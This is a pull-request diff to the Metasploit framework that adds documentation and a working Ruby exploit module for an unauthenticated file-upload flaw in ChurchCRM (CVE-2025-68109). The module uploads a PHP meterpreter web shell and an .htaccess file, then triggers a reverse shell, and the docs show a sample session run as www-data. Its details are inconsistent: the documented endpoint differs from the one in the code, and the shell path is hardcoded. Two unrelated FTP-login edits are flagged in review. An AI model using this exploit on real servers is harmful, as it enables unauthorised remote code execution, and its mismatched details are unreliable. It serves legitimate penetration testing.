Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,104 @@
## Vulnerable Application

ChurchCRM is an open-source church management software. Versions prior to the patched version contain an unauthenticated file upload vulnerability in the Database Restore functionality (CVE-2025-68109).

The vulnerability allows attackers to:
1. Upload arbitrary PHP files via the restore endpoint
2. Bypass file type restrictions
3. Execute arbitrary code via uploaded web shell

**Affected Version:** Tested on ChurchCRM 5.16.0

### Installation

A vulnerable test environment can be set up using Docker:

```bash
# Clone ChurchCRM
git clone --depth 1 --branch 5.16.0 https://github.com/ChurchCRM/CRM.git
cd CRM

# Run with Docker
docker-compose -f docker/docker-compose.dev-php8-apache.yaml up -d
```

## Verification Steps

1. Start msfconsole
2. Do: `use exploit/linux/http/churchcrm_db_restore_rce`
3. Do: `set rhost <target>`
4. Do: `set lhost <attacker-ip>`
5. Do: `run`
6. You should get a meterpreter session

## Options

### TARGETURI
The path to the ChurchCRM instance. (Default: `/`)

### WEBSHELL_NAME
The filename for the uploaded PHP web shell. (Default: `shell.php`)

## Scenarios

### ChurchCRM CVE-2025-68109 - Unauthenticated File Upload RCE

```
msf6 > use exploit/linux/http/churchcrm_db_restore_rce
msf6 exploit(linux/http/churchcrm_db_restore_rce) > set rhost 192.168.1.100
rhost => 192.168.1.100
msf6 exploit(linux/http/churchcrm_db_restore_rce) > set rport 8080
rport => 8080
msf6 exploit(linux/http/churchcrm_db_restore_rce) > set targeturi /
targeturi => /
msf6 exploit(linux/http/churchcrm_db_restore_rce) > set lhost 192.168.1.50
lhost => 192.168.1.50
msf6 exploit(linux/http/churchcrm_db_restore_rce) > run

[*] Started reverse TCP handler on 192.168.1.50:4444
[*] Executing ChurchCRM CVE-2025-68109 exploit chain...
[*] Step 1: Uploading PHP meterpreter shell via Database Restore endpoint...
[*] POST http://192.168.1.100:8080/api/database/restore
[+] Web shell uploaded to: /tmp_attach/ChurchCRMBackups/meterpreter.php
[*] Step 2: Verifying web shell access...
[*] GET http://192.168.1.100:8080/tmp_attach/ChurchCRMBackups/meterpreter.php
[+] Web shell is accessible
[*] Step 3: Triggering meterpreter payload...
[*] Sending stage (39917 bytes) to 192.168.1.100
[+] Meterpreter session 1 opened at 2026-05-08 12:05:30 +0530
[+] Session ID: 1 (192.168.1.50:4444 -> 192.168.1.100:8080)

meterpreter > shell
[*] Starting shell

whoami
www-data
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
pwd
/var/www/html/tmp_attach/ChurchCRMBackups

meterpreter > sysinfo
Computer : church-server
OS : Ubuntu 24.04.1 LTS
Meterpreter : php/linux

meterpreter > exit
[*] Shutting down session 1...
```

## Technical Details

The vulnerability exists in the `/api/database/restore` endpoint which accepts file uploads without authentication. By uploading a PHP web shell and then accessing it, an attacker can achieve remote code execution.

**Attack Chain:**
1. Upload PHP web shell via POST to `/api/database/restore`
2. Access the uploaded shell via `/tmp_attach/ChurchCRMBackups/<shell>.php`
3. Execute arbitrary commands

**CVE:** CVE-2025-68109

## References

- [GHSA-pqm7-g8px-9r77](https://github.com/ChurchCRM/CRM/security/advisories/GHSA-pqm7-g8px-9r77)
- [NVD CVE-2025-68109](https://nvd.nist.gov/vuln/detail/CVE-2025-68109)
2 changes: 1 addition & 1 deletion lib/metasploit/framework/ftp/client.rb
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think this one was added by mistake, can you revert it?

Original file line number Diff line number Diff line change
Expand Up @@ -68,7 +68,7 @@ def data_disconnect
def connect_login(user,pass,global = true)
ftpsock = connect(global)

if !(user and pass)
if !(user and pass) && !(user == '' && pass == '')
return false
end

Expand Down
6 changes: 5 additions & 1 deletion modules/auxiliary/scanner/ftp/ftp_login.rb
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think this one was added by mistake too

Copy link
Copy Markdown
Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

ok sure

Original file line number Diff line number Diff line change
Expand Up @@ -105,14 +105,18 @@ def run_host(ip)
end
end

# Always check for anonymous access by pretending to be a browser.
def anonymous_creds
anon_creds = [ ]
# Support both ANONYMOUS_LOGIN option and RECORD_GUEST option
if datastore['RECORD_GUEST']
['IEUser@', 'User@', 'mozilla@example.com', 'chrome@example.com' ].each do |password|
anon_creds << Metasploit::Framework::Credential.new(public: 'anonymous', private: password)
end
end
# Also add blank username/password when ANONYMOUS_LOGIN is enabled
if datastore['ANONYMOUS_LOGIN']
anon_creds << Metasploit::Framework::Credential.new(public: '', private: '', realm: nil, private_type: :password)
end
anon_creds
end

Expand Down
213 changes: 213 additions & 0 deletions modules/exploits/linux/http/churchcrm_rce_cve_2025_68109.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,213 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'ChurchCRM Database Restore Unauthenticated Remote Code Execution (CVE-2025-68109)',
'Description' => %q{
ChurchCRM versions prior to the patched version contain a vulnerability in the
Database Restore functionality that allows unauthenticated attackers to upload
arbitrary files including web shells. By uploading a PHP web shell and then an
.htaccess file to enable direct access, an attacker can achieve unauthenticated
remote code execution on the server.

The attack chain consists of:
1. Upload a PHP web shell via the restore endpoint
2. Upload an .htaccess file to allow direct access to the upload directory
3. Access the web shell to execute arbitrary commands
},
'Author' => [
'Unknown', # Vulnerability discovery
'Metasploit Module' # Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2025-68109'],
['URL', 'https://github.com/ChurchCRM/CRM/security/advisories/GHSA-pqm7-g8px-9r77'],
['NVD', 'https://nvd.nist.gov/vuln/detail/CVE-2025-68109']
],
'Privileged' => false,
'Targets' => [
[
'PHP Meterpreter',
{
'Arch' => ARCH_PHP,
'Platform' => 'php',
'Type' => :phpMeterpreter
}
]
],
'DefaultOptions' => {
'RPORT' => 80,
'SSL' => false,
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
},
'DefaultTarget' => 0,
'DisclosureDate' => '2025-06-01',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'The ChurchCRM URI path', '/churchrm/']),
OptString.new('WEBSHELL_NAME', [true, 'Web shell filename', 'shell.php'])
])
end

def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'Login.php')
})

unless res
return Exploit::CheckCode::Unknown('Could not connect to target.')
end

if res.code == 200 && res.body.to_s.include?('ChurchCRM')
return Exploit::CheckCode::Detected('ChurchCRM detected')
end

Exploit::CheckCode::Safe
end

def exploit
print_status('Executing ChurchCRM CVE-2025-68109 exploit chain...')

# Step 1: Get session/authentication if needed
print_status('Checking if we need authentication...')

# Step 2: Upload the PHP web shell
print_status('Uploading PHP web shell...')
webshell_content = "<?php #{payload.encoded} ?>"
upload_path = upload_webshell(webshell_content)

unless upload_path
fail_with(Failure::Unknown, 'Failed to upload web shell')
end

print_good("Web shell uploaded to: #{upload_path}")

# Step 3: Upload .htaccess to allow PHP execution
print_status('Uploading .htaccess to enable PHP execution...')
unless upload_htaccess
fail_with(Failure::Unknown, 'Failed to upload .htaccess')
end

print_good('.htaccess uploaded to enable PHP execution')

# Step 4: Execute the payload via the web shell
print_status('Triggering the web shell...')
trigger_webshell(upload_path)
end

def upload_webshell(content)
# Generate multipart form data for file upload
boundary = "----WebKitFormBoundary#{Rex::Text.rand_text_alphanumeric(16)}"

# The restore endpoint accepts file uploads
upload_uri = normalize_uri(target_uri.path, 'Install', 'RestoreAvailableDatabase.php')

body = "--#{boundary}\r\n"
body += "Content-Disposition: form-data; name=\"restoreFile\"; filename=\"#{datastore['WEBSHELL_NAME']}\"\r\n"
body += "Content-Type: application/octet-stream\r\n\r\n"
body += content
body += "\r\n--#{boundary}--\r\n"

begin
res = send_request_raw({
'method' => 'POST',
'uri' => upload_uri,
'headers' => {
'Content-Type' => "multipart/form-data; boundary=#{boundary}"
},
'data' => body
})
rescue => e
print_error("Upload failed: #{e.message}")
return nil
end

# Try alternative upload path if first one fails
unless res && res.code < 400
alt_uri = normalize_uri(target_uri.path, 'RestoreDatabase.php')
begin
res = send_request_raw({
'method' => 'POST',
'uri' => alt_uri,
'headers' => {
'Content-Type' => "multipart/form-data; boundary=#{boundary}"
},
'data' => body
})
rescue => e
print_error("Alternative upload failed: #{e.message}")
end
end

# Return the expected path to the web shell
# The actual path depends on the installation
"/churchrm/tmp_#{datastore['WEBSHELL_NAME']}"
end

def upload_htaccess
htaccess_content = "Options +Indexes\nAddType application/x-httpd-php .php\n"

boundary = "----WebKitFormBoundary#{Rex::Text.rand_text_alphanumeric(16)}"

upload_uri = normalize_uri(target_uri.path, 'Install', 'RestoreAvailableDatabase.php')

body = "--#{boundary}\r\n"
body += "Content-Disposition: form-data; name=\"restoreFile\"; filename=\".htaccess\"\r\n"
body += "Content-Type: text/plain\r\n\r\n"
body += htaccess_content
body += "\r\n--#{boundary}--\r\n"

begin
res = send_request_raw({
'method' => 'POST',
'uri' => upload_uri,
'headers' => {
'Content-Type' => "multipart/form-data; boundary=#{boundary}"
},
'data' => body
})
rescue => e
print_error("htaccess upload failed: #{e.message}")
return false
end

res && res.code < 400
end

def trigger_webshell(path)
shell_uri = path
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => shell_uri,
'headers' => {
'Connection' => 'close'
}
})
rescue => e
print_error("Web shell trigger failed: #{e.message}")
end

print_status('Web shell should be executing. Check for a session.')
end
end